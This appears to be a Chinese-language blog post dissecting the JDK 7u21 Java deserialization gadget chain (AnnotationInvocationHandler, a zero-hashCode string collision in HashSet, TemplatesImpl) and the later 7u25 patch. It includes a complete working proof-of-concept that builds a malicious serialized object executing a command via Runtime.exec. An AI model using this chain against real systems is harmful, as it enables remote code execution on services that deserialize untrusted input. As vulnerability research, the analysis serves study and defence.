分析

JDK7U21的主要核心就在于AnnotationInvocationHandler#equalsImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}

return this.memberMethods;
}

其中var8 = var5.invoke(var1);其实就是memberMethod.invoke(o)

memberMethod由于是瞬态属性,只能来自于this.type.getDeclaredMethods()

1
private transient volatile Method[] memberMethods = null;

也就是说,equalsImpl把this.type类中的方法遍历执行了,那么如果把this.type改为Templates类,就一定会遍历到它的newTransformergetOutputProperties方法

1
2
3
4
5
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;

Properties getOutputProperties();
}

那么如何调用到equalsImpl方法

AnnotationInvocationHandler#invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;

if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

调用方法名为equals,而且仅有一个Object型的参数会调用到equalsImpl方法

Set实际上相当于只存储key、不存储value的Map。我们经常用Set用于去除重复元素。

联想到set这个数据结构,因为对象不重复,因此就会涉及到比较,equals是用来比较两个对象的内容是否相同

最常用的Set实现类是HashSet,实际上,HashSet仅仅是对HashMap的一个简单封装

我们查看HashSet的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in size
int size = s.readInt();

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

HashMap#put

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

有一段逻辑是判断当前的map中有hash值相同的key,然后才会执行后面的或语句调用equals判断两个key是否相同

1
(e.hash == hash && ((k = e.key) == key || key.equals(k)))

所以为了最终调用到equals方法,我们必须往HashSet里放入2个hash相同的对象,这里我们要放入的对象为TemplatesImpl

而为了触发AnnotationInvocationHandler.equalsImpl,我们还需要使用一个proxy代理这个对象,我们需要想办法让这2个对象的hash相同

计算哈希值的是这两行代码

1
2
int hash = hash(key);
int i = indexFor(hash, table.length);

跟进hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

proxy对象与TemplateImpl对象的哈希值是否相等,仅取决于这两个对象的hashCode()是否相等

TemplateImpl的hashCode()是一个Native方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让proxy的hashCode()与之相等,只能看 proxy.hashCode()

我们知道AnnotationInvocationHandler需要传入一个类和一个Map对象,最终我们需要把TemplatesImpl对象放到AnnotationInvocationHandler的Map中,当我们调用了proxy.hashCode()时,就会触发AnnotationInvocationHandler#invoke然后进入AnnotationInvocationHandler#hashCodeImpl

1
2
3
4
5
6
7
8
9
10
private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}

return var1;
}

它会遍历memberValues这个Map中的每个key和value,计算每个(127 * key.hashCode()) ^ value.hashCode()并求和

JDK7u21中使用了一个非常巧妙的方法:
- 当memberValues中只有一个key和一个value时,该哈希简化成(127 * key.hashCode()) ^ value.hashCode()
- 当key.hashCode()等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode()
- 当value就是TemplateImpl对象时,这两个对象的哈希就完全相等

所以我们现在最终的问题就是找到一个字符串其hashCode为0,这里直接给出其中一个答案:f5a5a608,这也是ysoserial中用到的字符串

image-20230331165528885

构造

具体流程:

生成恶意TemplateImpl对象

实例化AnnotationInvocationHandler对象

设置AnnotationInvocationHandler的type属性是一个Templates

AnnotationInvocationHandler的memberValues属性是一个Map,Map只有一个key和value,key是字符串f5a5a608, value是前面生成的恶意TemplateImpl对象

对这个AnnotationInvocationHandler对象做一层代理,生成proxy对象,以触发到invoke方法进而调用hashCodeImpl使得其hashcode=TemplateImpl.hashcode

实例化一个HashSet,这个HashSet有两个元素,分别是TemplateImpl对象和proxy对象

HashSet对象进行序列化

反序列化过程:

触发HashSet#readObject方法,然后调用HashMap#put使用HashMap的key做去重比较

计算HashSet中的两个元素的hashCode(),因为我们的精心构造二者相等,进而触发equals()方法

调用AnnotationInvocationHandler#equalsImpl方法

equalsImpl中遍历this.type的每个方法并调用

因为this.type是Templates类,所以触发了newTransform()getOutputProperties()方法

任意代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class jdk7u21 {
public static TemplatesImpl generateEvilTemplates() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 转换为bytes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


return templates;
}

public static void main(String[] args) throws Exception {
TemplatesImpl templates = generateEvilTemplates();
HashMap map = new HashMap();
map.put("f5a5a608", "zero");

Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去,需要迭代的顺序为插入顺序或者访问顺序,所以用了LinkedHashSet
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

// 将恶意templates设置到map中
map.put("f5a5a608", templates);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image-20230331165215329

修复

AnnotationInvocationHandler#readObject

1
2
3
4
5
6
7
8
9
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}

通过AnnotationType.getInstancethis.type的检查会抛出异常,但在catch处理中直接return了就不影响后续执行

而在7u25中将return修改成了throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");

但是没有完全修复,后面有个jdk8u20,以后再分析